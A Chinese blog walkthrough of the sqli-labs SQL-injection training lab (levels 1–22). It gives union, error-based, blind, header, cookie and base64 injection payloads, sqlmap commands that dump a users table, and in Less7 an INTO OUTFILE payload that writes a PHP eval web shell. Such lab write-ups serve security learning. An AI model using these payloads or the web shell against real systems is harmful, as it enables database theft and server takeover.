sqli-labs通关详解

已于 2022-10-15 16:19:00 修改
阅读量6.8k 收藏 58
点赞数 6
分类专栏： 渗透测试 文章标签： 数据库 安全 sql web安全 网络安全
于 2022-10-15 15:43:46 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_52051132/article/details/127335683
版权

sqli-labs通关详解

Less1

找注入点，当输入id=1 and 1=2–+时没有变化，尝试单引号闭合找到注入类型
在这里插入图片描述

字符型注入，单引号闭合
判断字段数
在这里插入图片描述

找回显点

在这里插入图片描述
发现有两个回显点
在这里插入图片描述

开始信息收集(注意union前后格式要相同)

?id=-1' union select 1,database(),version()--+
database():当前数据库名
version():数据库版本
user():数据库用户，用于判断是否有最高权限

在这里插入图片描述

开始逐级爆破

爆破数据库

?id=-1' union select 1,2,group_concat(schema_name) from
information_schema.schemata
group_concat()函数可以让多个数据在一行显示，但是只能显示64位，可以选择截取或者用limit的方式 显示全部数据
?id=-1' union select 1,2,(schema_name) from information_schma.schemata limit 0,1--+

在这里插入图片描述

爆破表名
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

在这里插入图片描述

爆破字段名
?id=-1' union select 1,2,group_concat(column_name)from
information_schema.columns where table_name='users'--+

在这里插入图片描述

爆破字段
?id=-1' union select 1,2,(select group_concat(username,0x7e,password)from users)--+

在这里插入图片描述

Less1sqlmap运用

sqlmap.py -u ip --batch

在这里插入图片描述

猜解当前数据库名称
sqlmap.py -u ip --batch --current-db

在这里插入图片描述

猜解表名
sqlmap.py -u ip --batch -D "security" --tables

在这里插入图片描述

猜解字段
sqlmap.py -u ip -D "security" -T "users" --columns

在这里插入图片描述

脱库
sqmap.py -u ip -D "security" -T "users" --dump

在这里插入图片描述

Less2

看源码或者尝试，没有闭合方式，说明为数字型注入

在这里插入图片描述

尝试找到注入点
在这里插入图片描述

判断字段数
在这里插入图片描述

找到回显点,然后信息收集判断数据库版本
在这里插入图片描述

开始注入

爆破数据库
?id=-1 union select 1,2,group_concat(schema_name)from
information_schema.schemata--+

在这里插入图片描述

爆破表单名
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

在这里插入图片描述

爆破字段内容
?id=-1 union select 1,2,(select group_concat(username,0x7e,password)from users)- -+

在这里插入图片描述

Less2sqlmap运用

扫描注入点
sqlmap.py -u ip --batch

在这里插入图片描述

爆破当前数据库
sqlmap.py -u ip --batch --current-db

在这里插入图片描述

爆破数据表
sqlmap.py -u ip --batch -D "security" --tables

在这里插入图片描述

爆破字段
sqlmap.y -u ip --batch -D "security" -T "users" --columns
最后脱库即可
sqlmap.py -u ip --batch -D "security" -T "users" --dump

Less3

在这里插入图片描述

通过源码查看闭合方式，如果在不知道源码的情况下，可以通过报错回显猜测闭合方式
在这里插入图片描述

判断字段数
在这里插入图片描述

找回显点，信息收集，然后开始逐级爆破

在这里插入图片描述

  1. 爆破表单
    ?id=1’) and 1=2 union select 1,version(),group_concat(table_name)from information_schema.tables where table_schema=database()-+

在这里插入图片描述
3.爆破字段
?id=1’) and 1=2 union select 1,version(),group_concat(colum_name)from information_schema.columns where table_name=‘users’-+
在这里插入图片描述

4.爆破数据
?id=1’) and 1=2 union select 1,version(),(select
group_concat(username,0x7e,password)from users)–+

在这里插入图片描述

sqlmap运用

在这里插入图片描述

Less4

在这里插入图片描述

同样的方法通过报错的回显找到闭合方式

然后判断字段数，开始进行信息收集，然后开始爆破

1.信息收集，字段判断，爆破数据库表
?id=1") and 1=2 union select 1,version(),group_concat(table_name)from information_schema.tables where table_schema=database()–+
在这里插入图片描述

2.爆破字段
?id=1") and 1=2 union select 1,version(),group_concat(column_name)from information_schema.columns where table_name=“users”–+

在这里插入图片描述

3.最后爆破出所有数据
?id=1") and 1=2 union select 1,version(),(select
group_concat(username,0x7e,password)from users)–+

在这里插入图片描述

sqlmap一把梭

在这里插入图片描述

Less5

发现没有了用户和ID的回显，只有”You are ing…",查看有无报错回显，找到闭合方式
在这里插入图片描述

有报错的回显。然后判断字段数

在这里插入图片描述

输入一个假的条件看一下，发现没有了回显
在这里插入图片描述

条件正确有回显，条件错误没有回显，布尔盲注？其实大可不必，上面发现会有报错回显的，所以果断 采取报错注入的方法，报错注入的运用前提是需要有数据库错误的显示，看源码
在这里插入图片描述

报错常用的三个函数， extractvalue(),updatexml(),floor(),还有exp(),演示前三个

  1. 用extractvalue函数进行报错注入。

爆破数据库
?id=1’ or/and extractvalue(1,concat(0x7e,database()/(select
database()),0x7e))–+
在这里插入图片描述

爆破数据库表
?id=1’ or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e))–+

在这里插入图片描述
爆破字段
?id=1’ or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=‘users’),0x7e))–+
在这里插入图片描述

group-concat()函数可能放不下所有内容，可以采用截取或者limit函数读取

爆破数据内容
?id=1’ or extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))–+
在这里插入图片描述

  1. 用updatexml()函数进行报错注入

爆破数据库表
?id=1’ or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)–+

爆破字段
?id=1’ or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=‘users’),0x7e),1)–+

爆破数据内容
?id=1’ or updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)–+
3.通loor()函数进行报错注入，前提需要知道有多少字段数

爆破数据库
?id=-1’ union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x–+
在这里插入图片描述

爆破数据库表
?id=-1’ union select 1,count(*),concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x–+
在这里插入图片描述

爆破字段
?id=-1’ union select 1,count(*),concat(0x7e,(select (column_name)from information_schema.columns where table_name=‘users’ limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x–+

在这里插入图片描述

爆破数据库内容
?id=-1’ union select 1,count(*),concat(0x7e,(select (username)from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x–+

在这里插入图片描述

sqlmap直接梭

在这里插入图片描述

Less6

less6与less5的唯一区别在于闭合方式为双引号"

在这里插入图片描述

Less7

在这里插入图片描述

是不是有一点熟悉呢， SQl注入的写入与读取
读取文件 load_file(文件的路径)
写入文件into outfile(),into_dumpfile()
首先还是先猜解闭合方式，单引号家两个小括号 '))
在这里插入图片描述

猜解字段数

通过页面回显布尔方式猜解到字段数为3，能够读写需要的几个条件

  1. 需要高权限(root权限)
  2. 需要有问价写入权限secure_file_priv不是NULL
  3. 需要知道绝对路径
  4. 魔术引号gbc时关闭的 magic_quotes_gpc = Off
    关键步骤写入木马

?id=1’)) and 1=2 union select 1,2,“<?php @eval($_POST['cmd']) ?>”%20 into outfile “X:\xx\xx\xx\xx\shell.php”–+
在这里插入图片描述

写入之后蚁剑提权

在这里插入图片描述

Less8

找到闭合方式为单引号，但是没有报错显示，因此报错注入的方法已经不能够实现注入
在这里插入图片描述

对和错返回不同的页面回显，可以采用布尔盲注的方式，比如判断字段数
在这里插入图片描述

由此可以判断字段数为3

猜解数据库名字的长度
?id=-1’ or length(database())=8–+
小tips：一那么采用逻辑或，因为无法确保前面的条件一定为真

在这里插入图片描述

逐一猜解数据库
?id=-1’ or ascii(substr(database(),1,1))=115–+
或者
?id=-1’ or ascii(mid(database(),1,1))=115–+
或者
?id=-1’ or mid(database(),1,1)=‘s’–+
在这里插入图片描述

按照相同的方法猜解数据表的名字和字段内容
?id=-1’ or ascii(mid(select (table_name) from information_schema.tables where table_schema=database() limit 1,1))=?–+

对于布尔盲注的问题，一般采用脚本进行猜解或者使用sqlmap

sqlmap梭Less8

在这里插入图片描述

Less9

尝试了N种闭合方式之后发现页面的回显都是一样的并且没有任何报错信息，通过源码找到字符型闭 合，浅试一下时间盲注

例如
?id=-1’ or if(length(database())=8,sleep(5),0)–+
在这里插入图片描述

发现页面的响应有了延迟，再burpsuite里面看一下
在这里插入图片描述

响应的时间明显延长了，那么就可以通过这样猜解出数据库信息了

猜解数据库名称
?id=-1’ or if(ascii(mid(database(),1,1))<=135,sleep(5),0)–+
相同的方式猜解数据表数据字段

sqlmap运用时间盲注

![在这里插入图片描述](https://img-blog.csdnimg.cn/7681b4a1128e4ffd9f8d92fc92465b31.png)

Less10

![在这里插入图片描述](https://img-blog.csdnimg.cn/32a53e32f5a849be83eeec6934091d5b.png)

与Less9的区别在于闭合方式为 双引号，同样是时间盲注

Less11

在这里插入图片描述

看见登录框，为方便注入， burpsuite准备，抓包后找注入点和闭合方式
在这里插入图片描述

注入点在username处，闭合方式为单引号
在这里插入图片描述

字段数只有2。
payload

在这里插入图片描述

除了联合注入外还可以报错注入，方式很多，都可以尝试一下

sqlmap Less11post运用

方式一
启动sqlmap探测注入点
sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch
爆破当前数据库名
sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch --current-db
爆破数据表
sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch -D security --tables 最后脱库
sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch -D security -T users - -dump

在这里插入图片描述

方式二
将抓包内容保存到 .txt文件中

在这里插入图片描述

启动sqlmap
sqlmap.py -r txt文件位置 -p 要扫描的点

在这里插入图片描述

爆破数据库
sqlmap.py -r .txt文件位置 -p 扫描的位置 --current-db
爆破表
sqlmap.py -r .txt文件位置 -p 扫描的位置 -D security --tables
脱库
sqlmap.py -r .txt文件位置 -p 扫描的位置 -D security --dump

Less12

通过简单测试，发现闭合方式为"),如果找到源码会发现与Less11的区别就是闭合方式的不一样，注入方 式完全一样， Less11采用联合查询的注入方式， Less12尝试一次报错注入的方式，字段数依旧为2
在这里插入图片描述

采用extractvalue()函数报错注入

查询数据库表
uname=-1") or extractvalue(1,concat(0x7e,(select database()),0x7e)) – +&passwd=admin&submit=Submit

在这里插入图片描述

爆破数据表
uname=-1") or extractvalue(1,concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 2,1),0x7e)) – +&passwd=admin&submit=Submit

在这里插入图片描述

爆破字段名
uname=-1") or extractvalue(1,concat(0x7e,(select (column_name)from information_schema.columns where table_name=‘users’ limit 8,1),0x7e)) – +&passwd=admin&submit=Submit
在这里插入图片描述

爆破字段
uname=-1") or extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+&passwd=admin&submit=Submit

在这里插入图片描述

用updatexml()函数进行报错注入

查询数据库表
uname=-1") or updatexml(1,concat(0x7e,(select database()),0x7e),1) – +&passwd=admin&submit=Submit
爆破数据表
uname=-1") or updatexml(1,concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 2,1),0x7e),1) – +&passwd=admin&submit=Submit
爆破字段名
uname=-1") or updatexml(1,concat(0x7e,(select (column_name)from information_schema.columns where table_name=‘users’ limit 8,1),0x7e),1) – +&passwd=admin&submit=Submit
爆破字段
uname=-1") or updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+&passwd=admin&submit=Submit

用floor()函数进行爆破

爆破数据库
uname=-1") union select count(*),concat(0x7e,database(),0x7e,floor(rand(0)2))x from information_schema.tables group by x–+&passwd=admin&submit=Submit
爆破数据表
uname=-1") union select count(),concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)2))x from information_schema.tables group by x-- +&passwd=admin&submit=Submit
爆破字段表
uname=-1") union select count(),concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),0x7e,floor(rand(0)2))x from information_schema.tables group by x-- +&passwd=admin&submit=Submit
爆破字段
uname=-1") union select count(),concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x-- +&passwd=admin&submit=Submit

Less13

在这里插入图片描述

与Less12的唯一区别为闭合方式为’)

Less14

![在这里插入图片描述](https://img-blog.csdnimg.cn/cc886ce5a69149a4a363879a943b90bf.png)

与Less12的区别闭合方式为"

Less15

![在这里插入图片描述](https://img-blog.csdnimg.cn/9e37f8e7e3844eda8279f646018c6b51.png)

通过图片的回显通过布尔盲注的方式发现闭合方式为单引号闭合

正确的数据与错误数据页面回显的图片不一样，可以尝试一下布尔盲注
payload
在这里插入图片描述

尝试猜解一下数据库的名字
在这里插入图片描述

通过图片的回显情况逐一猜解内容，当然也可以通过延时注入的方式猜解一下

在这里插入图片描述

sqlmap猜解布尔盲注

因为Less15为post的提交方式，首先抓包将数据包头存储在一个文件中

sqlmap.py -r 文件位置 -p 扫描位置 --batch --current-db //爆破当前数据库名
sqlmap…py -r 文件位置 -p 扫描位置 --batch -D security -T users --dump //脱库

在这里插入图片描述

Less16

在Less15的原题上将闭合方式变成了")

在这里插入图片描述

Less17

提示密码重设置，猜一猜注入点会不会事密码的位置呢，验证一下
在这里插入图片描述

payload

在这里插入图片描述

sqlmap梭

在这里插入图片描述

Less18

网页记录了本地ip的信息，说明可能事数据库记录了本机的信息，即后台获取了一些诸如Ip的信息保存 到数据库中，并且页面返回了数据包user-agent的信息，那么在请求头中就可能存在注入点
在这里插入图片描述

通过源码看一下
在这里插入图片描述

源代码标识获取浏览器信息，即user-Agent部分，表示客户端通过什么浏览器向后台请求
在这里插入图片描述

在后面的请求中也有将该部分进行存储添加到数据库，现在就可以通过一些手段在数据添加的同时进行 注入
payload

'and updatexml(1,concat(0x7e,database(),0x7e),1),1,1)#

在这里插入图片描述

sqlmap进行头部注入
在头部注入爆破中， sqlmap需要提高扫描等级 level和risk

level x(x为1-5) 当为2时会对头部的cookie进行扫描注入尝试，x>=3时队user-Agent,ip,referer 参数进行扫描
risk x(x 1-3) 1时进行大部分扫描 2会增加基于事件的测试语句 3会增加or语句的sql注入

在这里插入图片描述
或者将数据包保存下来
在这里插入图片描述

在user-Agent的末尾打上*

在这里插入图片描述

Less19

成功登录后返回referer位置，说明在数据包头referer位置有注入点
在这里插入图片描述

payload

在这里插入图片描述

sqlmap 梭

然后按照格式再sqlmap上进行爆破

在这里插入图片描述

Less20

登录之后发现有很明显的cookie提示，可想而知在哪里注入
在这里插入图片描述

登录之后刷新页面，一定要保证cookie还在存在的前提下进行抓包
判断字段数，发现没有字段回显，采取报错，盲注手段都可以

在知道字段的前提下可以使用floor()函数进行报错注入
在这里插入图片描述

爆破数据库名
Cookie: uname=admin’ union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

在这里插入图片描述

爆破表名
Cookie: uname=admin’ union select 1,count(*),concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#
在这里插入图片描述

爆破字段名
Cookie: uname=admin’ union select 1,count(*),concat(0x7e,(select (column_name)from information_schema.columns where table_name=‘users’ limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#
在这里插入图片描述

爆破字段内容
Cookie: uname=admin’ union select 1,count(*),concat(0x7e,(select username/password from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

在这里插入图片描述

sqlmap cookie注入

在这里插入图片描述

打上* level 等级2

在这里插入图片描述

Less21

成功登录后发现在Cookie处登录的信息被进行了加密，说明在客户端登录的信息被进行了加密
在这里插入图片描述

可以尝试在每次注入前对payload进行加密在注入
在这里插入图片描述

先将语句进行base64加密，再进行注入，通过回显找到闭合方式为’)
在这里插入图片描述

更改payload再次进行注入
在这里插入图片描述

找到了字段数，尝试爆破数据库名
payload

admin’) and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
base64加密 YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdl KSwxKSM=
在这里插入图片描述

对以往常规的爆破语句进行base64加密后进行爆破即可

sqlmap加密注入运用

将数据包头的内容重新粘贴到新的文档中，再Cookie处标上*
启动sqlmap,对进行加密注入的数据需要用到tamper模块

扫描
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py”
爆破数据库
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” --current-db 爆破表单
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” -D security - -tables
脱库
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” -D security - T users --dump

在这里插入图片描述

Less22

与Less21的唯一区别在于此关闭合方式为双引号"

在这里插入图片描述

爱睡觉的扬扬
关注
  • 6
    点赞
  • 踩
  • 58
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
phpstudy+靶场sqli-labs-master下载
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
sqli-labs靶场安装
剁椒鱼头没剁椒的博客
10-22 6932
PhpStudy国内12年老牌公益软件，集安全，高效，功能与一体，已获得全球用户认可安装，运维也高效。支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,JAVA等100多项服务器管理功能。Sqlilabs是一个学习sql注入的平台，GET和POST场景包括了许多基本的实验内容，例如：基于错误的注入、盲注、更新查询注入、插入查询注入、Header注入、二次注入、Bypass WAF、堆叠注入等等。
Sqli-labs通关攻略（持续更新ing
qq_50808416的博客
05-11 1425
sqli-labs详细攻略
Sqli-lab教程-史上最全详解（1-22通关）
最新发布
dzqxwzoe的博客
06-07 910
Less-1 联合注入Less-2Less-3Less-4Less-5 报错注入/布尔盲注/时间盲注Less-6 报错注入/布尔盲注/时间盲注Less-7 文件导出Less-8 布尔盲注/时间盲注Less-9 时间盲注Less-10 时间盲注Less-11 post注入Less-12 post注入Less-13 post盲注Less-14 post盲注Less-15 时间盲注Less-16 时间盲注Less-17 修改密码Less-18 user-agent头注入。
sqli-labs靶场学习（一）
Dug123456_的博客
04-19 891
数据库是一个用于存储和管理数据的仓库。数据按照特定的格式存储，可以对数据库中的数据进行增加、修改、删除和查询操作。数据库的本质是一个文件系统，按照一定的逻辑结构组织数据，以方便高效地访问和维护。
sqli-labs 通关日志 萌新向
春日野穹
11-16 1725
0x0 引言 sqli-labs是一个用来练习sql注入的平台，其内置集成了现存的各种sql注入，如盲注，联合查询注入等，对于新手来说它是一个十分不错的练习平台，我们可以使用它来进行各种注入尝试，从而提升我们的sql注入能力 萌新建议先看这个帖子再来做题：https://blog.csdn.net/chest_/article/details/102537988 目录快速导航 环境的搭...
Sqli-labs 1-65关的解题记录（做题思路与简要）
CaesarQu的博客
08-13 3617
Sqli-labs的详细解题记录 Less-1: 进入关卡内先判断是否存在注入情况，先输入？id =1 and 1=1，发现没有变化，换成and 1=2,依旧没有变化，考虑是为字符型而非整形。用 ’ 进行测试，发现页面报错，出现如下显示，证明可以进行SQL注入。 发现为字符型的后先在后面加一个注释符 --+ 可以发现正常返回数据。 此处可以用 order by 对前面的数据进行排列，先进行试数，发现只有三组数据，'order by 4–+就会超出 然后就可以进行union联合注入 然后就可以获取所有
sqli-labs-master.zip
11-20
最新sqli-labs代码，自己也可以到github下载：https://github.com/Audi-1/sqli-labs
windows环境下安装sqli-labs
11-04
Windows 环境下安装 sqli-labs 详细教程 Windows Server 2012 环境下安装 sqli-labs 需要具备一定的基础知识和环境准备。在这里，我们将详细介绍如何在 Windows Server 2012 环境下安装 sqli-labs。 环境准备 在...
sqli-labs.rar
12-22
sqli-labs是一个专门设计用于学习和练习SQL注入技术的平台，特别适合初学者了解和提升SQL注入防御技能。 首先，要搭建sqli-labs，你需要准备以下工具： 1. PHPstudy：一个集成的Web服务器环境，包括Apache、Nginx、...
sql-lib 1-10关
鸣蜩十四的博客
06-14 651
1. 字符型 http://127.0.0.1:88/sql/Less-1/?id=1' order by 4%23失败 http://127.0.0.1:88/sql/Less-1/?id=1' order by 3%23成功 http://127.0.0.1:88/sql/Less-1/?id=-1' union select 1,database(),group_concat(schema_name) from information_schema.schemata%23 查看所有数据库 ht...
sqli-labs通关攻略
jhfjdf的博客
10-13 1355
sqli-labsless 1 less 1 字符型注入，单引号 网址后面接 ?id=1 正常显示，然后判断注入点 ?id=1' and 1=1--+ 将1=1换成1=2，发现没有报错，但不显示信息，说明可以使用字符注入 之后判断列数，使用order by，从1开始逐渐递增，报错时停止。 ?id=1' order by 1--+ ...
sqli-lib靶场1-15关通关教程
m0_56109788的博客
04-25 1164
sqli-lib靶场1-15关通关教程
sqli-labs靶场通关秘籍分享（1-10关）
weixin_45585955的博客
04-16 2619
一、 1、SQL注入原理：sql语句未经查询直接带入数据库查新，sql注入攻击其实就是服务端的攻击，它与操作系统、服务器类型、脚本语言无关 2、sql注入类型：分为数字型、字符型、搜索型、xx型 3、注入提交方式：get提交、post提交、cookie提交。 4、注入攻击提交支持的类型 union注入、information_schema、宽字节注入、报错注入、盲注，这里的盲注分为三种，分别是 布尔型盲注、时间型盲注、报错型盲注。 updatexml注入分为 insert注入、update注入
sqli-labs通关攻略教程一（less 01~less 02）
m0_55854679的博客
06-12 345
数据库知识整理 MYSQL基本用法 查库 show databases; ##方法1 select schema_name from information_schema.schemata; ##方法2 2. 查表 use security; ##方法1 show tables; select table_name from information_schema.tables where table_schema='security' ##方法2 3. 查列 se
sqli-labs通关wp
D-R0s1的博客
04-11 6477
第一关： 方法一：在id=1后面加一个单引号后发现报错 然后把这个单引号注释掉试一下 使用'or 1=1--+ order by 查列数页面显示正常了。存在注入，先查一下列数 http://127.0.0.1/sqli-labs/Less-1/?id=1%27%20order%20by%203--+ 使用单引号闭合掉一个单引号，在用--+或#或%27注释掉一个，便可以使中间的order...
sqlilabs教程(1-10)
热门推荐
一个安全研究员
04-18 3万+
前言 最近在研究sql注入，只是看书有点无聊（不推荐大家去看《sql注入攻击与防御》，这本书的翻译很奇怪，而且内容不太适合小白，可以当小说看） less-1 根据提示，可以知道只是个单引号注入的题目，我们在参数后面加一个单引号看下效果： 可以看到数据库报错了，最重要的就是能够看懂数据库的错误信息，从错误信息中我们可以知道是单引号的匹配出了问题，也就是说我们添加的单引号成功被...
sqli-labs-master通关手册
satasun的博客
04-19 2178
level1 输入：[http://127.0.0.1/New/sqli-labs-master/Less-1/?id=1](http://127.0.0.1/New/sqli-labs-master/Less-1/?id=1) 后面加一个'并将后面注释掉试试效果： 构造?id=1' --+（这里#被注释了） 然后判断字段数 ?id=1' order by 3 --+ order by 3的时...
sqli-labs通关28
03-05
通关28其中的一个关卡，下面是关于sqli-labs通关28的介绍： 在sqli-labs通关28中，你需要利用SQL注入漏洞来绕过登录验证，获取管理员权限。具体步骤如下： 1. 打开sqli-labs网站，找到通关28的页面。 2. 在登录框...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值